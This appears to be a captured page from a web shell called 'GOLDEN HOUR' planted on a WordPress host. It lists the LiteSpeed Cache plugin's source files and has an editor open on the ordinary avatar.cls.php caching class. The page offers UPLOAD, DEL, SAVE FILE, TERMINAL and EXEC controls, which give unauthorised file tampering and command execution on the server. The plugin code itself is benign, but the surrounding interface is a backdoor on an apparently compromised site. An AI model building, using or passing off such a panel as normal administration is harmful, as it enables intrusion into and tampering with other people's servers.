GOLDEN HOUR
DIR: /home/vlabbdco/public_html/wp-content/plugins/litespeed-cache/src
UP
UPLOAD
Name
Size
Action
activation.cls.php
15.06 KB
DEL
admin-display.cls.php
33.69 KB
DEL
admin-settings.cls.php
9.15 KB
DEL
admin.cls.php
5.2 KB
DEL
api.cls.php
11.28 KB
DEL
avatar.cls.php
6.26 KB
DEL
base.cls.php
30.85 KB
DEL
[ cdn ]
-
DEL
cdn-setup.cls.php
9.63 KB
DEL
cdn.cls.php
13.52 KB
DEL
cloud.cls.php
38.96 KB
DEL
conf.cls.php
18.83 KB
DEL
control.cls.php
20.35 KB
DEL
core.cls.php
17.39 KB
DEL
crawler-map.cls.php
13.42 KB
DEL
crawler.cls.php
30.77 KB
DEL
css.cls.php
13.02 KB
DEL
data.cls.php
16.52 KB
DEL
data.upgrade.func.php
21.85 KB
DEL
[ data_structure ]
-
DEL
db-optm.cls.php
8.66 KB
DEL
debug2.cls.php
11.98 KB
DEL
doc.cls.php
3.54 KB
DEL
error.cls.php
6.38 KB
DEL
esi.cls.php
26.45 KB
DEL
file.cls.php
10.47 KB
DEL
gui.cls.php
27.87 KB
DEL
health.cls.php
3 KB
DEL
htaccess.cls.php
24.34 KB
DEL
img-optm.cls.php
55.77 KB
DEL
import.cls.php
4.32 KB
DEL
instance.cls.php
153 B
DEL
lang.cls.php
16.6 KB
DEL
localization.cls.php
3.53 KB
DEL
media.cls.php
27.13 KB
DEL
metabox.cls.php
3.94 KB
DEL
object-cache.cls.php
15.82 KB
DEL
object.lib.php
14.43 KB
DEL
optimize.cls.php
34.61 KB
DEL
optimizer.cls.php
8.82 KB
DEL
placeholder.cls.php
14.5 KB
DEL
purge.cls.php
29.84 KB
DEL
report.cls.php
5.43 KB
DEL
rest.cls.php
7.52 KB
DEL
root.cls.php
12.88 KB
DEL
router.cls.php
17.7 KB
DEL
str.cls.php
1.18 KB
DEL
tag.cls.php
8.78 KB
DEL
task.cls.php
4.41 KB
DEL
tool.cls.php
3.41 KB
DEL
ucss.cls.php
13.36 KB
DEL
utility.cls.php
21.15 KB
DEL
vary.cls.php
19.44 KB
DEL
vpi.cls.php
7.44 KB
DEL
Edit: avatar.cls.php
<?php /** * The avatar cache class * * @since 3.0 * @package LiteSpeed * @subpackage LiteSpeed/inc * @author LiteSpeed Technologies <info@litespeedtech.com> */ namespace LiteSpeed; defined( 'WPINC' ) || exit; class Avatar extends Base { const TYPE_GENERATE = 'generate'; private $_conf_cache_ttl; private $_tb; private $_avatar_realtime_gen_dict = array(); protected $_summary; /** * Init * * @since 1.4 */ public function __construct() { if ( ! $this->conf( self::O_DISCUSS_AVATAR_CACHE ) ) { return; } Debug2::debug2( '[Avatar] init' ); $this->_tb = $this->cls( 'Data' )->tb( 'avatar' ); $this->_conf_cache_ttl = $this->conf( self::O_DISCUSS_AVATAR_CACHE_TTL ); add_filter( 'get_avatar_url', array( $this, 'crawl_avatar' ) ); $this->_summary = self::get_summary(); } /** * Check if need db table or not * * @since 3.0 * @access public */ public function need_db() { if ( $this->conf( self::O_DISCUSS_AVATAR_CACHE ) ) { return true; } return false; } /** * Get gravatar URL from DB and regenarate * * @since 3.0 * @access public */ public function serve_static( $md5 ) { global $wpdb; Debug2::debug( '[Avatar] is avatar request' ); if ( strlen( $md5 ) !== 32 ) { Debug2::debug( '[Avatar] wrong md5 ' . $md5 ); return; } $q = "SELECT url FROM `$this->_tb` WHERE md5=%s"; $url = $wpdb->get_var( $wpdb->prepare( $q, $md5 ) ); if ( ! $url ) { Debug2::debug( '[Avatar] no matched url for md5 ' . $md5 ); return; } $url = $this->_generate( $url ); wp_redirect( $url ); exit; } /** * Localize gravatar * * @since 3.0 * @access public */ public function crawl_avatar( $url ) { if ( ! $url ) { return $url; } // Check if its already in dict or not if ( ! empty( $this->_avatar_realtime_gen_dict[ $url ] ) ) { Debug2::debug2( '[Avatar] already in dict [url] ' . $url ); return $this->_avatar_realtime_gen_dict[ $url ]; } $realpath = $this->_realpath( $url ); if ( file_exists( $realpath ) && time() - filemtime( $realpath ) <= $this->_conf_cache_ttl ) { Debug2::debug2( '[Avatar] cache file exists [url] ' . $url ); return $this->_rewrite( $url, filemtime( $realpath ) ); } if ( ! strpos( $url, 'gravatar.com' ) ) { return $url; } // Send request if ( ! empty( $this->_summary[ 'curr_request' ] ) && time() - $this->_summary[ 'curr_request' ] < 300 ) { Debug2::debug2( '[Avatar] Bypass generating due to interval limit [url] ' . $url ); return $url; } // Generate immediately $this->_avatar_realtime_gen_dict[ $url ] = $this->_generate( $url ); return $this->_avatar_realtime_gen_dict[ $url ]; } /** * Read last time generated info * * @since 3.0 * @access public */ public function queue_count() { global $wpdb; // If var not exists, mean table not exists // todo: not true if ( ! $this->_tb ) { return false; } $q = "SELECT COUNT(*) FROM `$this->_tb` WHERE dateline<" . ( time() - $this->_conf_cache_ttl ); return $wpdb->get_var( $q ); } /** * Get the final URL of local avatar * * Check from db also * * @since 3.0 */ private function _rewrite( $url, $time = null ) { return LITESPEED_STATIC_URL . '/avatar/' . $this->_filepath( $url ) . ( $time ? '?ver=' . $time : '' ); } /** * Generate realpath of the cache file * * @since 3.0 * @access private */ private function _realpath( $url ) { return LITESPEED_STATIC_DIR . '/avatar/' . $this->_filepath( $url ); } /** * Get filepath * * @since 4.0 */ private function _filepath( $url ) { $filename = md5( $url ) . '.jpg'; if ( is_multisite() ) { $filename = get_current_blog_id() . '/' . $filename; } return $filename; } /** * Cron generation * * @since 3.0 * @access public */ public static function cron( $force = false ) { global $wpdb; $_instance = self::cls(); if ( ! $_instance->queue_count() ) { Debug2::debug( '[Avatar] no queue' ); return; } // For cron, need to check request interval too if ( ! $force ) { if ( ! empty( $_instance->_summary[ 'curr_request' ] ) && time() - $_instance->_summary[ 'curr_request' ] < 300 ) { Debug2::debug( '[Avatar] curr_request too close' ); return; } } $q = "SELECT url FROM `$_instance->_tb` WHERE dateline < %d ORDER BY id DESC LIMIT %d"; $q = $wpdb->prepare( $q, array( time() - $_instance->_conf_cache_ttl, apply_filters( 'litespeed_avatar_limit', 30 ) ) ); $list = $wpdb->get_results( $q ); Debug2::debug( '[Avatar] cron job [count] ' . count( $list ) ); foreach ( $list as $v ) { Debug2::debug( '[Avatar] cron job [url] ' . $v->url ); $_instance->_generate( $v->url ); } } /** * Remote generator * * @since 3.0 * @access private */ private function _generate( $url ) { global $wpdb; // Record the data $file = $this->_realpath( $url ); // Update request status self::save_summary( array( 'curr_request' => time() ) ); // Generate $this->_maybe_mk_cache_folder( 'avatar' ); $response = wp_remote_get( $url, array( 'timeout' => 180, 'stream' => true, 'filename' => $file ) ); Debug2::debug( '[Avatar] _generate [url] ' . $url ); // Parse response data if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); file_exists( $file ) && unlink( $file ); Debug2::debug( '[Avatar] failed to get: ' . $error_message ); return $url; } // Save summary data self::save_summary( array( 'last_spent' => time() - $this->_summary[ 'curr_request' ], 'last_request' => $this->_summary[ 'curr_request' ], 'curr_request' => 0, ) ); // Update DB $md5 = md5( $url ); $q = "UPDATE `$this->_tb` SET dateline=%d WHERE md5=%s"; $existed = $wpdb->query( $wpdb->prepare( $q, array( time(), $md5 ) ) ); if ( ! $existed ) { $q = "INSERT INTO `$this->_tb` SET url=%s, md5=%s, dateline=%d"; $wpdb->query( $wpdb->prepare( $q, array( $url, $md5, time() ) ) ); } Debug2::debug( '[Avatar] saved avatar ' . $file ); return $this->_rewrite( $url ); } /** * Handle all request actions from main cls * * @since 3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_GENERATE : self::cron( true ); break; default: break; } Admin::redirect(); } }
SAVE FILE
TERMINAL
EXEC